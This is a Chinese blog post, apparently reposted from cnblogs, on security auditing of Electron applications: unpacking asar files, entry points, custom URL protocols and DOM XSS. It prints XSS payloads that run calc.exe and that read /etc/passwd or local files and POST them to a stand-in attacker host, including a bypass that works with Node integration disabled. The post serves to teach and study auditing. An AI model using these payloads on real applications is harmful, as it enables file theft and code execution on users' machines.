其他分享
首页 > 其他分享> > electron代码审计

electron代码审计

作者:互联网

解包

Electron跨平台程序破解https://www.52pojie.cn/thread-563895-1-1.html

Electron封装的跨平台程序破解的一般思路:

这里有个大坑就是:

不能把文件叫取名为tmp,必须是app,文件夹名使用tmp后重新封装出现40g的情况!

所以正确的方法是

Electron

在Electron中,运行package.json中的main脚本的进程被称为主进程,该进程能访问Node.js原语,并负责启动其他进程。Chromium则被用于展示Web网页,其中每个Web页面都在独立的渲染进程中进行渲染。

Electron 的渲染进程是由 Chromium + Node.js 构成, 那么我们可以从分析传统 Web 应用的角度,得出这样的结论:

所以,使用传统的 Web 应用分析套路来处理 Electron 是十分必要的。

审计

有一个主文件 如 main.js. 在这里处理应用的启动

package.json

我们检查的第一个目标是package.json,其中包含了所有应用入口点的对应文件路径:

{
  "name": "Example App",
  "description": "Core App",
  "main": "./dist/electron/main.js",
  "license": null,
}

如上例子,入口点是位于electron文件夹中名为mian.js的文件,该文件将会作为主进程执行。如果没有特别的指定,main.js*是默认的主文件。

自定义url协议

electron应用可以注册自己的url 协议 例如custom://, 使得可以通过浏览器直接打开应用. 这里对url协议的处理不当可能导致rce等 例子.

注册url的代码例子如下

const protocol = electron.protocol

// handles links `todo2://<something>`
const PROTOCOL_PREFIX = 'todo2'

function createWindow () {
  mainWindow = new BrowserWindow({width: 1000, height: 800})
  // handle url protocol
  protocol.registerHttpProtocol(PROTOCOL_PREFIX, (req, cb) => {
    const fullUrl = formFullTodoUrl(req.url)
    devToolsLog('full url to open ' + fullUrl)
    mainWindow.loadURL(fullUrl)
  })
}

domxss

Electron 中的 DOM 操作必须更精细,严格转义是必要的。(渲染进程中可以使用 Node 函数) 基于这个特性,攻击者可以在此之中插入 Node 函数用于攻击, 比如,这是一个普通的 XSS 实例:

// xss_source 是攻击者可以控制的字符串
elm.innerHTML = xss_source; // XSS!

攻击者可以以下面的方式利用:

// 弹计算器
<img src=# one rror="require('child_process').exec('calc.exe',null);">
// 读取本地文件并发送
<img src=# one rror="let s = require('fs').readFileSync('/etc/passwd','utf-8');
fetch('http://evil.hack/', { method:'POST', body:s });">
lectron 的架构问题
本地文件信息窃取

我们发现在默认情况下,Node 语句是可用的。 但是,如果开发者禁用了 Node 语句:

// main.js 节选
win = new BrowserWindow({ webPreferences:{nodeIntegration:false} });
win.loadURL(`file://${__dirname}/index.html`);

这种情况下,我们注入的 Node 语句不生效,可造成的威胁降低了。 看起来,在创建 BrowserWindow 的时候禁用 Node 语句是必要的。 但是,如果 Node 语句被禁用,Electron 会变得很鸡肋。

如果开发者执意禁止 Node 语句,我们依然不是无计可施的。 以刚刚的 main.js 为例,我们可以通过xhr来做更多的事情。

var xhr = new XMLHttpRequest();
xhr.open("GET", "file://c:/file.txt", true);
xhr.onload = () => {
  fetch("http://eveil.hack/",{method:"POST", body:xhr.responseText});
};
xhr.send( null );

通过上面的代码,我们可以读取本地文件并将其发送出去。 这使得开发者在牺牲 Electron 的实用性禁用 Node 语句后, XSS 依旧十分强大。

标签:审计,Node,asar,app,Electron,js,electron,main,代码
来源: https://www.cnblogs.com/Mang0/p/13269450.html